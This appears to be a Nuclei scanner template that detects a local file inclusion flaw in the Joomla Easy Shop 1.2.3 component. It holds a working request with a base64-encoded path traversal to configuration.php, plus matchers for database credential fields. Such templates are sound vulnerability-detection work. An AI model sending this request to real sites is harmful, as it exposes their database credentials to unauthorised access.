id: joomla-easyshop-lfi

info:
  name: Joomla! Component Easy Shop 1.2.3 - Local File Inclusion
  author: ritikchaddha
  severity: high
  description: |
    The Joomla! component Easy Shop version 1.2.3 is vulnerable to Local File Inclusion (LFI) attacks.
  reference:
    - https://blog.csdn.net/weixin_42628854/article/details/136036109
  classification:
    cwe-id: CWE-23,CWE-73
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.component:"Joomla"
  tags: cnvd,cnvd2023,file-upload,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_easyshop&task=ajax.loadImage&file=Li4vLi4vY29uZmlndXJhdGlvbi5waHA="

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<?php", "class JConfig {")'
          - 'contains_any(body, "$user", "$password", "$dbtype")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100fc7660c09e1c4d5405fd07be8b9e4757af9c92dd725764011af0cb383c4b777a02206d7eee530e946e27674aa99a35b55ae2711cd8e1e1f9f91b3335a1980be84826:922c64590222798bb761d5b6d8e72950